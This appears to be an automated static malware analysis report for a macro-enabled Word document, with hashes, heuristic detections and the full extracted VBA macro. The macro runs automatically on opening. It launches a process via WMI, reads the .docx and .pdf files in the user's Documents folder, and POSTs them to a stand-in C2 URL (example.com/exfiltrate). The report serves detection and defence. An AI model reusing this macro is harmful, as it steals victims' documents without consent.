Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 cf5087eab82324ff…

MALICIOUS

Office (OOXML) / .DOCX

19.0 KB Created: 2026-05-08 15:48:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-18
MD5: ed2eab9ef282b544f7f4135ff8113150 SHA-1: 4dd8e77ffb2629c8912ffa2eb99f2a1923faa99f SHA-256: cf5087eab82324ffba16e57e2f9ba7994d8414068d9757335e5ea2deaf51d05d
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        strDocumentsPath = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objFSO = CreateObject("Scripting.FileSystemObject")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://example.com/exfiltrateIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3039 bytes
SHA-256: d78b4f7299c49d37636c6304636d478146a49ebecb6319c4b13221caec4f6fbe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    Dim objWMIService As Object
    Dim objProcess As Object
    Dim strComputer As String
    Dim strCommand As String
    Dim objFSO As Object
    Dim objFolder As Object
    Dim objFile As Object
    Dim strDocumentsPath As String
    Dim strFileContent As String
    Dim strDataToSend As String
    Dim objHTTP As Object
    Dim strC2Server As String
    Dim intProcessID As Integer ' Declare intProcessID

    ' Initial Access: Triggered by Document_Open

    ' Execution: Spawn a process using WMI
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
    Set objProcess = objWMIService.Get("Win32_Process")
    strCommand = "notepad.exe" ' Example of a legitimate process
    objProcess.Create strCommand, Null, Null, intProcessID

    ' Discovery: Search for specific file types in the Documents folder
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    strDocumentsPath = CreateObject("WScript.Shell").SpecialFolders("MyDocuments")
    Set objFolder = objFSO.GetFolder(strDocumentsPath)
    strDataToSend = ""

    For Each objFile In objFolder.Files
        If LCase(Right(objFile.Name, 4)) = ".docx" Then
            strFileContent = objFSO.OpenTextFile(objFile.Path, 1).ReadAll
            strDataToSend = strDataToSend & "File: " & objFile.Name & vbCrLf & strFileContent & vbCrLf & "-------------------" & vbCrLf
        ElseIf LCase(Right(objFile.Name, 4)) = ".pdf" Then
            ' Read binary files using GetBinary method
            Dim objStream As Object
            Set objStream = CreateObject("ADODB.Stream")
            objStream.Type = 1 ' adTypeBinary
            objStream.Open
            objStream.LoadFromFile objFile.Path
            strFileContent = objStream.ReadText ' ReadText reads binary data as text
            objStream.Close
            Set objStream = Nothing
            strDataToSend = strDataToSend & "File: " & objFile.Name & vbCrLf & strFileContent & vbCrLf & "-------------------" & vbCrLf
        End If
    Next

    ' Collection: Format the collected data
    strDataToSend = "Collected Data:" & vbCrLf & strDataToSend

    ' Command and Control: Exfiltrate data to C2 server using HTTP POST
    strC2Server = "http://example.com/exfiltrate"
    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    objHTTP.Open "POST", strC2Server, False
    objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
    objHTTP.send "data=" & strDataToSend

    ' Clean up
    Set objWMIService = Nothing
    Set objProcess = Nothing
    Set objFSO = Nothing
    Set objFolder = Nothing
    Set objFile = Nothing
    Set objHTTP = Nothing
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: f68c57114944124a397ee2ea3c1d3468c31394bc16fa96b564d61d3a70ef8c89

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